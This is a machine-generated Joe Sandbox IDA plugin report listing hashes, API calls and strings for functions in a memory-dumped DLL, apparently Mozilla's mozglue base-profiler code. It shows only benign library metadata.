Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID: ~q1l
API String ID: 0-2110660629
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: fbcfc2997332382710ec645ae60e2529e1bab6eedda09dde90eb6063df82301f
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 11321971E016198FCB14CF98C890AADFBF2FF89308F648169D949A7745D731A986CF90

Function 6C386E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~q1l, xrefs: 6C387E0B, 6C387C72, 6C3879FB, 6C3879C0, 6C387B0B, 6C387C03, 6C38793C

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID: ~q1l
API String ID: 0-2110660629
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: acb0ff0d6308a3136bc5eaa194b37ea42c950ee2d1a0a66009a94b302fc3625a
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: 6722F871E012198FCB14CF98C880AADF7F6FF89308F6481A9D949A7745D731A986CF90

Function 6C355C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C324A63,?,?), ref: 6C355F06

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 3b2103a725389a1e1b03dbdd763a8751a02148a5754a0bee24ff80862434a347
Instruction ID: 2153537bfede8a12567d17b7364ff34d0614981ceeaf71348ccb762e72a8f1ac
Opcode Fuzzy Hash: 3b2103a725389a1e1b03dbdd763a8751a02148a5754a0bee24ff80862434a347
Instruction Fuzzy Hash: B0C1AF75E012498BCB04CF95C590AEEBBF2FF8A318F684159D8556BB44D732A816CF90

Function 6C31DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8c49b1c8d8dd2bed17bb9b675cf7d0bb82d92b736b3d3f58e7d48033c1ef1c2
Instruction ID: 242745d6d5f07a350ea57695122eb292decc45decac03f1deceeeb921eba80b3
Opcode Fuzzy Hash: c8c49b1c8d8dd2bed17bb9b675cf7d0bb82d92b736b3d3f58e7d48033c1ef1c2
Instruction Fuzzy Hash: E542C272A187508FD308CE3CC49075AB3E6BFC9364F094B2DE999A7B90D735D9418B82

Function 6C340512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 21f467ff4fd8320d430ab95d07bba29d9a9db988d66da3e47e5eb9a7e274f16e
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: BE22F575E046298FDB14CF98C890AADFBF2FF88308F548699C44AA7745D731A985CF90

Function 6C38AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2cd4a4489caca76a250f717480918b7a0456429e49e15c90535095b3baf331f
Instruction ID: c69529d33609b424e18bf8a7b219c62bc5678f2573d4ae5e8e1c48fcfa30a36d
Opcode Fuzzy Hash: a2cd4a4489caca76a250f717480918b7a0456429e49e15c90535095b3baf331f
Instruction Fuzzy Hash: 1DF1387160A7458FD700CF28C8907AAB7E6AFC5318F188A2DE5D4CB7C1E77598498F92

Function 6C31C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: b103a43e21c2562c89e18501db0db1395f2e503fd3ac48c3d83b475b6ed1bb77
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: FEA19E71F0421A8FDB08CE69D8913AEB7E2AFC8354F188139D915A7B81DB749C068F90

Function 6C357710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: e7bf62d31981578738f5a23ee8c48c3bbc93849ffaa12a7fe86645ea9e9d7890
Instruction ID: 139bf9298ae137f5c1fbf59de3a2b7a8fa5afc85def00e27a4525a8d50f6c049
Opcode Fuzzy Hash: e7bf62d31981578738f5a23ee8c48c3bbc93849ffaa12a7fe86645ea9e9d7890
Instruction Fuzzy Hash: E8718B71E112198FCB08CFA8D8909EDBBB6FF89314F64812ED816AB740D731A905CF90

Function 6C35CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C32582D), ref: 6C35CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C32582D), ref: 6C35CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C38FE98,?,?,?,?,?,6C32582D), ref: 6C35CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C32582D), ref: 6C35CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C35CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C35CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C35CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C35CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C35CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C35CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C35CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C35CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C35CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C35CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C35CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C35CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C35CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C35CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C35CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C35CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C35CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C35CE8A

Strings

cpuallthreads, xrefs: 6C35CE16
notimerresolutionchange, xrefs: 6C35CE00
screenshots, xrefs: 6C35CCD4
java, xrefs: 6C35CC37
audiocallbacktracing, xrefs: 6C35CDD4
noiostacks, xrefs: 6C35CCBE
Unrecognized feature "%s"., xrefs: 6C35CEA0
power, xrefs: 6C35CE84
default, xrefs: 6C35CC21
mainthreadio, xrefs: 6C35CC7C
processcpu, xrefs: 6C35CE6E
stackwalk, xrefs: 6C35CCF8
unregisteredthreads, xrefs: 6C35CE58
preferencereads, xrefs: 6C35CD92
fileio, xrefs: 6C35CC92
leaf, xrefs: 6C35CC66
nostacksampling, xrefs: 6C35CD7C
nativeallocations, xrefs: 6C35CDA8
ipcmessages, xrefs: 6C35CDBE
stem32\wshqos.dll,-103, xrefs: 6C35CE92
seqstyle, xrefs: 6C35CCE6
fileioall, xrefs: 6C35CCA8
jsallocations, xrefs: 6C35CD0E
markersallthreads, xrefs: 6C35CE42
samplingallthreads, xrefs: 6C35CE2C

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$stem32\wshqos.dll,-103$unregisteredthreads
API String ID: 1004003707-574812052
Opcode ID: 35042460c93523097b803fb29893a298ff53769aa0ccdab62e00c07ab769c36e
Instruction ID: 58e42b7a3f69dd6229c49e03aeddf4aa3b3620f28bc53883542e197308e4315e
Opcode Fuzzy Hash: 35042460c93523097b803fb29893a298ff53769aa0ccdab62e00c07ab769c36e
Instruction Fuzzy Hash: B251ADD1A0732512FA0031257D10FAA148DEF5F24EF944535DE46E1E80FB4E962ACEB7

Function 6C3247C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C324801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C324817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C32482D
__Init_thread_footer.LIBCMT ref: 6C32484A

Part of subcall function 6C34AB3F: EnterCriticalSection.KERNEL32(6C39E370,?,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284), ref: 6C34AB49
Part of subcall function 6C34AB3F: LeaveCriticalSection.KERNEL32(6C39E370,?,6C313527,6C39F6CC,?,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34AB7C

GetCurrentThreadId.KERNEL32 ref: 6C32485F
GetCurrentThreadId.KERNEL32 ref: 6C32487E
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32488B
free.MOZGLUE(?), ref: 6C32493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C324956
free.MOZGLUE(00000000), ref: 6C324960
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32499A

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

free.MOZGLUE(?), ref: 6C3249C6
free.MOZGLUE(?), ref: 6C3249E9

Part of subcall function 6C335E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C335EDB
Part of subcall function 6C335E90: memset.VCRUNTIME140(ew7l,000000E5,?), ref: 6C335F27
Part of subcall function 6C335E90: LeaveCriticalSection.KERNEL32(?), ref: 6C335FB2

Strings

[I %d/%d] profiler_shutdown, xrefs: 6C324A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C324A42
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C324812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C3247FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C324828

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: c2dd4d394d0503397b33b0256ab2a251eb1fc16db5c257b6028f4d6507e3b170
Instruction ID: b0acefb4ea323cea6803f1e5b11b8df142e957ee205e52636b8b13f98680ce9c
Opcode Fuzzy Hash: c2dd4d394d0503397b33b0256ab2a251eb1fc16db5c257b6028f4d6507e3b170
Instruction Fuzzy Hash: C981D071A001108BDF10DF28D88479A37B9EF4631CF140629E9569BB81F73BE854CFA6

Function 6C324470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C324730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3244B2,6C39E21C,6C39F7F8), ref: 6C32473E
Part of subcall function 6C324730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C32474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C3244BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C3244D2
InitOnceExecuteOnce.KERNEL32(6C39F80C,6C31F240,?,?), ref: 6C32451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C32455C
LoadLibraryW.KERNEL32(?), ref: 6C324592
InitializeCriticalSection.KERNEL32(6C39F770), ref: 6C3245A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C3245AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C3245BB
InitOnceExecuteOnce.KERNEL32(6C39F818,6C31F240,?,?), ref: 6C324612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C324636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C324644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C32466D
VerSetConditionMask.NTDLL ref: 6C32469F
VerSetConditionMask.NTDLL ref: 6C3246AB
VerSetConditionMask.NTDLL ref: 6C3246B2
VerSetConditionMask.NTDLL ref: 6C3246B9
VerSetConditionMask.NTDLL ref: 6C3246C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C3246CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C3246F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C3246FD

Strings

NativeNtBlockSet_Write, xrefs: 6C3246F7
kernel32.dll, xrefs: 6C3244CD
WRusr.dll, xrefs: 6C3244B5
l, xrefs: 6C324578
G9l, xrefs: 6C3244FC
user32.dll, xrefs: 6C324557, 6C32463F

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: G9l$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-4155262
Opcode ID: 4ca5e070a7898544b1fc128e13f372c31f159345e295cf35469cbfc32708b032
Instruction ID: 63ea1677771bace2d03a232fa0c034863835c3a8a469ff91cefaf3123f3f50d1
Opcode Fuzzy Hash: 4ca5e070a7898544b1fc128e13f372c31f159345e295cf35469cbfc32708b032
Instruction Fuzzy Hash: 326114B0A04344AFEF109F61DC09BA57BBCEB4A70CF148558F5449B641F7BA8945CFA1

Function 6C35F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C35F8F9

Part of subcall function 6C326390: GetCurrentThreadId.KERNEL32 ref: 6C3263D0
Part of subcall function 6C326390: AcquireSRWLockExclusive.KERNEL32 ref: 6C3263DF
Part of subcall function 6C326390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C32640E

ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F93A
GetCurrentThreadId.KERNEL32 ref: 6C35F98A
GetCurrentThreadId.KERNEL32 ref: 6C35F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F716

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

Part of subcall function 6C31B5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C31B5E0

GetCurrentThreadId.KERNEL32 ref: 6C35F739
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F746
GetCurrentThreadId.KERNEL32 ref: 6C35F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C39385B,00000002,?,?,?,?,?), ref: 6C35F829
free.MOZGLUE(?,?,00000000,?), ref: 6C35F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C35F866
free.MOZGLUE(?), ref: 6C35FA0C

Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C3255E1), ref: 6C325E8C
Part of subcall function 6C325E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325E9D
Part of subcall function 6C325E60: GetCurrentThreadId.KERNEL32 ref: 6C325EAB
Part of subcall function 6C325E60: GetCurrentThreadId.KERNEL32 ref: 6C325EB8
Part of subcall function 6C325E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C325ECF
Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C325F27
Part of subcall function 6C325E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C325F47
Part of subcall function 6C325E60: GetCurrentProcess.KERNEL32 ref: 6C325F53
Part of subcall function 6C325E60: GetCurrentThread.KERNEL32 ref: 6C325F5C
Part of subcall function 6C325E60: GetCurrentProcess.KERNEL32 ref: 6C325F66
Part of subcall function 6C325E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C325F7E

free.MOZGLUE(?), ref: 6C35F9C5
free.MOZGLUE(?), ref: 6C35F9DA

Strings

" attempted to re-register as ", xrefs: 6C35F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6C35F71F
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C35F9A6
Thread , xrefs: 6C35F789

Memory Dump Source

Source File: 00000000.00000002.2340848492.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2340827254.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340937251.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2340962482.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2341002828.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_tAa6xNsucX.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 82e00ec57a47285d96a6458e1473e85d2dee07bc986232204ffc02795e0adff8
Instruction ID: 3b1efa7868ececccca9693e74c5dbd9c21cc5e17c8b46819b4a8897801a05c7e
Opcode Fuzzy Hash: 82e00ec57a47285d96a6458e1473e85d2dee07bc986232204ffc02795e0adff8
Instruction Fuzzy Hash: 3C8127B1A047409FDB10DF24C840AAEB7B9EF89308F85455DE8899BB51EB31D859CF93

Function 6C35EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35EE60
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EE6D
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C35EEA5
CloseHandle.KERNEL32(?), ref: 6C35EEB4
free.MOZGLUE(00000000), ref: 6C35EEBB
GetCurrentThreadId.KERNEL32 ref: 6C35EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35EECF

Part of subcall function 6C35DE60: GetCurrentThreadId.KERNEL32 ref: 6C35DE73
Part of subcall function 6C35DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C324A68), ref: 6C35DE7B
